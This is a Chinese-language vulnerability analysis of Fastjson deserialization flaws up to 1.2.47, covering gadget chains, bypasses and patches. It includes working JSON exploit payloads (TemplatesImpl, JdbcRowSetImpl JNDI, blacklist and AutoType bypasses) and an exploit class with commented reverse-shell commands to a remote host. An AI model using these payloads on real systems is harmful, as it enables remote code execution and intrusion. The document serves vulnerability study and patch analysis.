文章目录
前言
本文是对fastjson高危漏洞的一次整理,包括漏洞调试、PoC构造和补丁分析。
1、Fastjson的序列化和反序列化
Fastjson是自己实现了一套JSON序列化和反序列机制。
1.1 fastjson序列化
用以下示例演示Fastjson的序列化和反序列化。
下面创建一个Student
类,有属性String类型的name
、int类型的age
、以及HashMap
类型的_properties
,有无参构造函数,有各个属性的setter/getter方法。
package me.mole.pojo;
import java.util.HashMap;
public class Student {
private String name;
private int age;
private HashMap<String,String> _properties;
public Student() {
System.out.println("无参构造函数");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
public HashMap<String, String> getProperties() {
System.out.println("getProperties");
return _properties;
}
public void setProperties(HashMap<String,String> properties) {
System.out.println("setProperties");
this._properties = properties;
}
@Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
", age=" + age +
", _properties=" + _properties +
'}';
}
}
以下代码使用Fastjson对Student的对象进行序列化:
@Test
public void test1() {
Student student = new Student();
student.setName("lAdyb1rd");
student.setAge(6);
HashMap<String,String> map = new HashMap<String,String>();
map.put("k1", "val1");
student.setProperties(map);
System.out.println("----------序列化------------");
//SerializerFeature.WriteClassName,是JSON.toJSONString()中的一个设置属性值,
// 设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名
String jsonStr = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println("jsonStr=" + jsonStr);
输出如下:
如上,在序列化时设置SerializerFeature.WriteClassName
,就会在序列化时多写入一个@type
,即被序列化的类名。
可以看到,fastjson序列化的过程中,会调用对象的属性的getter方法。
1.2 fastjson反序列化
再来看看反序列化。
String jsonStr = String jsonStr = "{\"@type\":\"me.mole.pojo.Student\",\"age\":6,\"name\":\"lAdyb1rd\",\"_properties\":{\"k1\":\"val1\"}}";
System.out.println("jsonStr=" + jsonStr);
System.out.println("----------反序列化: JSON.parse------------");
Student stu2 = (Student) JSON.parse(jsonStr);
System.out.println(stu2);
可以看到,反序列化的过程中,会调用类的无参构造方法、属性的setter方法。
如果把Student
类中name
属性的setter方法注释掉,同时在调用JSON.parse()
方法时,加上Feature.SupportNonPublicField
标志位(加上该标志位才能将没有setter方法的私有属性的值反序列化出来),再来看看反序列化的结果:
依旧反序列化出来了,由于没有了setName()
方法,所以就不会被调用。
将setName()
的注释去掉,这次将setProperties()
注释掉,结果会如何呢?
可以看到_properties
属性的值没有被反序列化出来。但与前面setName()
注释掉的情况不同,这次居然会调用getProperties()
方法…
如果我再把getProperties()
方法也给注释掉,再看看反序列化的结果:
居然反序列化出来… 这里面的逻辑具体可查看com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(Object object, Object value)
方法的实现,这里就不细说了。
1.2.1 fastjson反序列化漏洞原理
只要记住:在fastjson反序列化的过程中,会调用目标类的无参构造方法,可能会调用目标类的属性的setter/getter方法。因此,只要目标类的无参构造方法、setter/getter方法中存在危险操作的话,就可能存在fastjson反序列化漏洞。
1.2.2 fastjson反序列化漏洞Demo
为了更形象地去理解,最简单的,在前面的Student
类的setName()
方法中加入命令执行的代码:
public void setName(String name) {
System.out.println("setName");
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
this.name = name;
}
然后执行反序列化,可以看到弹出了计算器:
后续讨论的fastjson的高危漏洞,原理本质是一样的,只是和开发者的防御加固方式进行对抗而已(黑名单绕过、绕过autotype限制)。
2、Fastjson <= 1.2.24
在 1.2.24
版本及之前的版本,fastjson默认是开启AutoType
特性的,即可以通过在JSON字符串中传入@type
来指定反序列化成指定的类。且没有对反序列化的类进行任何的过滤。
目前该版本漏洞主要有以下利用链:
- 利用
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
- 利用
com.sun.rowset.JdbcRowSetImpl
进行JNDI注入利用
2.1 利用链 - TemplatesImpl
熟悉ysoserial这个java反序列化工具的,看到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类一定很熟悉。因为它是CommonsCollections2利用链中很重要的类。
配合之前对fastjson反序列化的了解,来看看TemplatesImpl
这个类为什么能利用。
TemplatesImpl
有一个java.util.Properties
类型的私有属性_outputProperties
,该属性只有getter方法,没有setter方法。由于java.util.Properties
是Map
的子类,根据前面提到的fastjson中com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(Object object, Object value)
方法的实现逻辑可知,当TemplatesImpl
类被反序列化时,会调用_outputProperties
的getter方法getOutputProperties()
,来看看该方法的实现:
进入newTransformer()
方法:
进入getTransletInstance()
方法:
可以看到这里存在将字节码加载为Class对象,然后将Class对象实例化的操作。
进入defineTransletClassess()
方法来看一下字节码是怎么来的:
可以看到,字节码是存放在TemplatesImpl
类的私有属性_bytecodes
中的。
因此,我们可以精心构造JSON字符串,主要就是通过@type
来指定要反序列化的类为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,同时将恶意类的字节码放到_bytecodes
属性中,当fastjson进行反序列化时便会加载并实例化恶意类,并执行其中的恶意代码。
2.1.1 限制条件
由于TemplatesImpl
的属性_tfactory
没有setter方法,_bytecodes
、_name
等私有属性的setter方法名不是一般的setXXXX()
,而是setTransletXXXX()
,所以在fastjson反序列化时,必须指定Feature.SupportNonPublicField
才行,即:
JSON.parse(fj_poc, Feature.SupportNonPublicField);
//或:
JSON.parseObject(fj_poc, Feature.SupportNonPublicField);
2.1.2 构造PoC
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["yv66vg...(恶意类的字节码的base64编码)..."],
'_name':'a.b',
'_tfactory':{},
"_outputProperties":{}
}
测试代码如下:
private String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (Exception e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
@Test
public void test_poc_2() {
String evilClassPath = "/Users/fa1c0n/codeprojects/IdeaProjects/misc-classes/src/main/java/Exploit2.class";
String evilCode = readClass(evilClassPath);
String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String fj_poc = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{}}\n";
System.out.println(fj_poc);
// JSON.parse(fj_poc, Feature.SupportNonPublicField);
JSON.parseObject(fj_poc, Feature.SupportNonPublicField);
}
恶意类Exploit2
:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Exploit2 extends AbstractTranslet {
public Exploit2() {
try {
Runtime.getRuntime().exec("open -a Calculator");
// Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQzIDA+JjE=}|{base64,-d}|{bash,-i}");
// Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.166.233/4444 0>&1"});
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
问题1:为什么_bytecodes中的字节码要经过base64编码
这是因为fastjson在反序列化的过程中,其中,在处理byte[]数组类型的字段时,会对值做base64解码处理。
代码位于:com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze()
方法中
问题2:恶意类为什么要继承AbstractTranslet类
恶意类需要继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,这是因为如果不继承该类的话,反序列化的过程中,就会抛异常,导致漏洞利用失败。
相关代码位于TemplatesImpl#defineTransletClasses()
方法:
问题3:fastjson为什么认为_outputProperties的get方法是getOutputProperties
fastjson在反序列化过程中,如果碰到属性名以_
或-
开头,其实是会将其去掉,然后再找对应的setter/getter方法的。
相关代码位于 :
JavaBeanDeserializer#smartMatch()
问题4:为什么要给_name和_tfactory两个属性赋值
如果_name
属性的值为null,就不会往下走进入加载类字节码的操作中。
相关代码位于 TemplatesImpl#getTransletInstance()
:
如果_tffactory
属性的值为null,会抛出异常,就不会往下走进入加载类的字节码的操作中。
相关代码位于TemplatesImpl#defineTransletClasses()
:
2.2 利用链 - JdbcRowSetImpl
这条利用链主要是利用JNDI注入来实现RCE。
关于JNDI注入,之前的文章 JNDI注入利用原理及绕过高版本JDK限制 中已经详细讨论过了,这里不再细说。
2.2.1 PoC
{"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:8085/Exploit",
"autoCommit":true}
或:
{"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:8085/Exploit",
"autoCommit":true}
2.3 漏洞修复
从1.2.25
版本开始,AutoType功能默认不开启,如要开启,有以下两种方式:
- (1) 增加JVM启动参数
-Dfastjson.parser.autoTypeSupport=true
- (2) 调用
ParserConfig.getGlobalInstance().setAutoTypeSupport(true)
通过版本比对,可以看到1.2.25
版本中,在处理反序列化的类时,将加载类的TypeUtils.loadClass()
替换为了ParserConfig#checkAutoType()
。
来看下ParserConfig#checkAutoType()
的实现:
(1) 如果AutoType开启,则先检查目标类是否在白名单中,如果在白名单中,则加载目标类,并返回;如果不在白名单中,则检查是否在黑名单中,如果在,则抛出异常。
(2) 如果AutoType没开启,则先检查目标类是否在黑名单中,如果匹配,则抛出异常;如果不匹配黑名单,则继续检查是否在白名单中,如果在,则加载类,并返回。
(3) 如果目标类既不在白名单也不在黑名单中的情况下,在checkAutoType()
方法的最后,会检查:如果未开启AutoType,则抛出异常。也就是说,如果fastjson未开启AutoType,是不能通过@type
来指定反序列化的目标类的。
3、Fastjson <= 1.2.41 (需开启AutoType)
3.1 漏洞分析
在ParserConfig#checkAutoType()
方法中,会对满足校验条件的类,调用TypeUtils#loadClass()
方法进行类加载。看下TypeUtils#loadClass()
方法的实现:
可以看到,当传入的类名是Java类签名的形式,即以L
字母开头,同时以分号;
结尾时,会去掉首字母L
和最后的;
,从而得到类名,然后加载。
3.2 PoC
因此,在fastjson开启AutoType的前提条件下,将前面的两个PoC修改一下,便可以触发反序列化漏洞。以JdbcRowSetImpl利用链为例:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://127.0.0.1:8085/Exploit",
"autoCommit":true}
3.3 漏洞修复
从1.2.42
版本开始,可能是作者为了增加安全研究员的分析难度(比如防止研究人员知道有哪些包名或类名已被加入黑名单),特意把之前以明文保存在代码里的包名/类名的黑名单,改为了以哈希值的方式进行保存:
但已经有研究人员将这些黑名单跑出明文,并公开在github了(参考[3])
关于本次漏洞的修复代码如下,位于ParserConfig#checkAutoType()
:
在进入黑白名单的校验代码之前,先是判断传入的类名,如果第一个字符是L
且最后一个字符是;
,则去掉它们,再进入后面的黑白名单校验逻辑。
4、Fastjson <= 1.2.42 (需开启AutoType)
4.1 漏洞分析和PoC
不得不说,1.2.42
版本的漏洞修复还是太草率了。从前面的分析很容易想到绕过方式:前后分别再多加一个L
和;
即可。以JdbcRowSetImpl利用链为例:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://127.0.0.1:8085/Exploit",
"autoCommit":true}
4.2 漏洞修复
在1.2.43
版本的ParserConfig#checkAutoType()
方法中,在前一个版本的基础上,增强了对校验,如下:
校验逻辑为:在类名的第一个字符为L
且最后一个字符为;
的前提条件下,如果第二个字符为L
,则抛出异常。
5、Fastjson <= 1.2.43 (需开启AutoType)
5.1 漏洞分析
既然无法适用LL类名;;
的形式,再回头看一下,TypeUtils#loadClass()
方法,可以看到,当类名前面加上[
符号,会当作数组类进行处理:
且类名前面加上[
也可以绕过黑名单限制。于是,以JdbcRowSetImpl利用链为例,将PoC修改为:
{"@type":"[com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:8085/Exploit",
"autoCommit":true}
但这样会报错,信息如下:
报错提示说位置42
期望的是一个[
符号,但却是一个逗号,
,于是尝试在42
位置的,
前面添加[
。再试一下:
测试报错提示说位置43
期望的是一个{
符号,于是在43
位置的添加{
符号,再测,成功利用:
5.2 PoC
从前面的分析可以下PoC:
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"rmi://127.0.0.1:8085/Exploit",
"autoCommit":true}
或:
{"@type":"L[com.sun.rowset.JdbcRowSetImpl;"[{,"dataSourceName":"rmi://127.0.0.1:8085/Exploit",
"autoCommit":true}
5.3 漏洞修复
在1.2.44
版本中,ParserConfig#checkAutoType()
的判断逻辑修改为:先检查类名的第一个字符如果为[
,则抛异常;否则,继续检查最后一个字符如果是;
,则抛异常。从而修复了前面的绕过。
6、Fastjson <= 1.2.45 (需开启AutoType)
这次是黑名单的绕过,即要利用的类org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
不在fastjson内置的黑名单中。这种的话就没什么好分析讨论的。
在开启AutoType的前提下,还需要目标环境有mybatis相关依赖。
本次使用mybatis最新的3.5.7
版本进行测试,可成功利用。
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.7</version>
</dependency>
6.1 PoC
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{"data_source":"rmi://127.0.0.1:8085/Exploit"}}
6.2 漏洞修复
在1.2.46
版本中,fastjson将包名org.apache.ibatis.datasource
添加到内置的黑名单。
7、Fastjson <= 1.2.47 (无需开启AutoType)
这个漏洞印象中是在2019年HW期间暴出来的,可在fastjson未开启AutoType的情况下反序列化利用,导致实战中攻击成功率大大提高,影响很大。
7.1漏洞分析
下面以1.2.47
版本进行分析。
当反序列化的类为java.lang.Class
时,会将属性val
的值,作为类名传入到TypeUtils#loadClass()
方法中进行加载类的操作,并将该类保存到用作缓存的ConcurrentHashMap
集合中,其中,类名作为Map集合的键,加载得到的Class对象作为Map集合的值。关键代码如下:
MiscCodec#deserialze()
跟进TypeUtils.loadClass()
,发现又调用了重载方法,且第三个参数boolean cache
为true,这样就会在后面加载类后,将该类放到缓存Map集合中。代码如下:
如果反序列化的类为java.lang.Class
,假设val
属性的值为com.sun.rowset.JdbcRowSetImpl
,那么com.sun.rowset.JdbcRowSetImpl
这个类将被放到缓存Map集合中。
如果剩余的JSON字符串中,再次通过@type
指定反序列化的类为com.sun.rowset.JdbcRowSetImpl
,这样就绕过了fastjson的黑名单检测,成功触发反序列化漏洞。
ParserConfig#checkAutoType()
关键代码如下:
- 开启AutoType的情况:会进入黑名单校验,由于缓存Map集合的关系,黑名单校验无效;
- 未开启AutoType的情况:不会进入黑名单校验,直接从缓存Map集合中获取到指定类。
7.2 PoC
{
"a": {
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:8085/Exploit",
"autoCommit":true
}
}
7.3 1.2.25-1.2.32版本在开启AutoType情况下利用失败的原因
因为在这几个版本中,如果AutoType开启的情况下,在ParserConfig#checkAutoType()
方法中,会进入黑名单校验,只要不匹配,就抛出异常,跟后面的版本不同的是,这里没有加上TypeUtils.getClassFromMapping(typeName) == null
的条件判断。因此在这种情况下,黑名单校验还是生效的。
以下是1.2.32
版本的代码:
7.4 漏洞修复
1、在调用TypeUtils#loadClass()
加载类时,把第三个参数改为了false
,这样就不会将val
里存放的类名和对应的Class对象放入缓存Map集合中了。
2、将java.lang.Class
类也加入到内置黑名单中。
References
[1] https://paper.seebug.org/1192/
[2] https://github.com/alibaba/fastjson/wiki/enable_autotype
[3] https://github.com/LeadroyaL/fastjson-blacklist